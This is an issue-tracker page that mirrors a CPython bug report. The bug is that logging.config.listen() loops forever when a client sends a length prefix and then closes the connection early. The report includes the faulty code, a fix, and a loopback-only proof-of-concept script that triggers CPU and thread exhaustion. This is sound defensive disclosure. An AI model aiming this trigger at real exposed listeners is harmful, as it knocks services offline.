python / python/cpython

logging.config.listen() spins forever after a truncated length-prefixed request

オープン
#156,378 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

stdlib type-bug
主要言語
Python
スター
77.2k
フォーク
35.9k
PR マージ指標
PR 指標を取得中

説明

Bug report

Bug description:

The ConfigStreamHandler.handle() implementation in Lib/logging/config.py reads a 4-byte length and then loops until that many bytes have been received. When a client declares a non-zero length and closes the TCP connection before sending the body, recv() returns b''. The loop condition remains true and the handler repeatedly calls recv() without making progress.

This is reproducible without authentication against the listener. A client sends the four bytes 00 00 00 01 and then performs a graceful TCP close. On the affected builds the request handler remains alive and consumes approximately one CPU core. Eight such connections leave eight request-handler threads alive and consume approximately 1.6 process-CPU seconds during a short observation window.

The default logging.config.listen() binding is localhost, so the default threat model is an unauthenticated local process. An application that exposes or forwards this listener makes the same input remotely reachable. The issue affects availability only; it does not provide code execution or confidentiality/integrity impact. The verify callback is reached only after the receive loop, so it cannot prevent this resource exhaustion.

Reproduction

Run the attached plain-text script with the Python interpreter under test:

python3 cpython-logging-listen-eof-spin-repro.py

The script uses an ephemeral loopback port, sends the truncated length prefix from a separate socket, observes the child process for 0.8 seconds, and exits by itself. Exit status 1 means a request handler was still alive; exit status 0 means the handler exited after EOF; exit status 2 is inconclusive.

Observed results:

  • CPython 3.12.12: HANDLERS:1, approximately CPU:0.769
  • CPython 3.14.6: HANDLERS:1, approximately CPU:0.771
  • CPython main build 3.16.0a0, source commit 5f31aeef60cd6397938e754e32530c25f59524ab: HANDLERS:1, approximately CPU:0.789

Controls:

  • Sending the same prefix followed by the declared one-byte body (00 00 00 01 78) leaves no request handler alive.
  • Sending a partial four-byte prefix (00 00) leaves no request handler alive.
  • The trigger is therefore the combination of a valid non-zero length and graceful EOF before the declared body is complete.

Relevant code

In the tested checkout, Lib/logging/config.py lines 970-975 are:

chunk = conn.recv(4)
if len(chunk) == 4:
    slen = struct.unpack(">L", chunk)[0]
    chunk = self.connection.recv(slen)
    while len(chunk) < slen:
        chunk = chunk + conn.recv(slen - len(chunk))

The loop should treat an empty receive as EOF and return or raise instead of appending it and continuing. For example, the minimal defensive change is:

while len(chunk) < slen:
    part = conn.recv(slen - len(chunk))
    if not part:
        return
    chunk += part

A separate maximum configuration-size limit may also be worth considering, but it is not required for this report.

Disclosure and duplicate check

I did not find an exact public CPython issue describing this truncated-length/EOF spin in logging.config.listen(). Related historical reports include the logging listener security-model discussion in issue #59657 and a generic ThreadingMixIn thread-lifecycle issue in #75416; this report is specifically about the reachable no-progress receive loop and its CPU/thread exhaustion.

This report is intended for private PSRT triage. No public issue, pull request, or CVE has been created for this candidate.

POC

#!/usr/bin/env python3
"""Safe, loopback-only reproducer for logging.config.listen() EOF handling.

Exit status:
  1  the truncated request leaves a request handler alive (vulnerable)
  0  the request handler exits after EOF (fixed/ not reproduced)
  2  the test was inconclusive

The listener is created in a child process and the child exits by itself after
the observation window.  No persistent listener is left behind.
"""

import os
import select
import socket
import struct
import subprocess
import sys
import time


TARGET = r'''
import logging.config
import os
import threading
import time

listener = logging.config.listen(0)
listener.start()
if not listener.ready.wait(5):
    print("READY_TIMEOUT", flush=True)
    os._exit(2)

print("PORT:" + str(listener.port), flush=True)
start = time.process_time()
time.sleep(0.8)
handlers = [
    thread for thread in threading.enumerate()
    if thread.name.startswith("Thread-")
    and "process_request_thread" in thread.name
]
cpu = time.process_time() - start
print("HANDLERS:%d CPU:%.3f" % (len(handlers), cpu), flush=True)

# Avoid waiting for the intentionally running listener thread during cleanup.
os._exit(1 if handlers else 0)
'''


def main():
    child = subprocess.Popen(
        [sys.executable, "-c", TARGET],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
    )
    try:
        ready, _, _ = select.select([child.stdout], [], [], 5)
        if not ready:
            print("No listener port was reported", file=sys.stderr)
            return 2
        port_line = child.stdout.readline().strip()
        if not port_line.startswith("PORT:"):
            print(port_line, file=sys.stderr)
            return 2

        port = int(port_line.split(":", 1)[1])
        # Declares one byte of configuration, then sends EOF instead.
        # The vulnerable loop repeatedly receives b"" and never advances.
        child_socket = socket.create_connection(("127.0.0.1", port), timeout=2)
        child_socket.sendall(struct.pack(">L", 1))
        child_socket.shutdown(socket.SHUT_WR)
        child_socket.close()

        output, errors = child.communicate(timeout=4)
        print(port_line)
        print(output, end="")
        if errors:
            print(errors, file=sys.stderr, end="")
        return child.returncode
    except (OSError, ValueError, subprocess.TimeoutExpired) as exc:
        child.kill()
        output, errors = child.communicate()
        if output:
            print(output, end="")
        if errors:
            print(errors, file=sys.stderr, end="")
        print("Inconclusive: %s" % exc, file=sys.stderr)
        return 2


if __name__ == "__main__":
    raise SystemExit(main())
CPython versions tested on:

3.16

Operating systems tested on:

macOS

Linked PRs
  • gh-156391

コントリビューションガイド

コントリビューションガイドを開く

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

調査の方向性

Lib/logging/config.py の ConfigStreamHandler.handle() から始め、付属の cpython-logging-listen-eof-spin-repro.py スクリプトを Python インタープリターで実行します。長さプレフィックスが有効で、その後に EOF が続く場合に、リクエストハンドラーが実行し続けたり CPU を消費し続けたりせず、完全なボディのコントロールも引き続き成功すれば完了です。

索引モデルが issue の本文から書いたものです。

評価

技術スタック
python
領域
tooling
issue の種類
バグ
難易度
2/5
見積もり時間
1〜3時間
活発さ
停滞
明瞭さ
明確に書かれている
初心者へのやさしさ
30/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。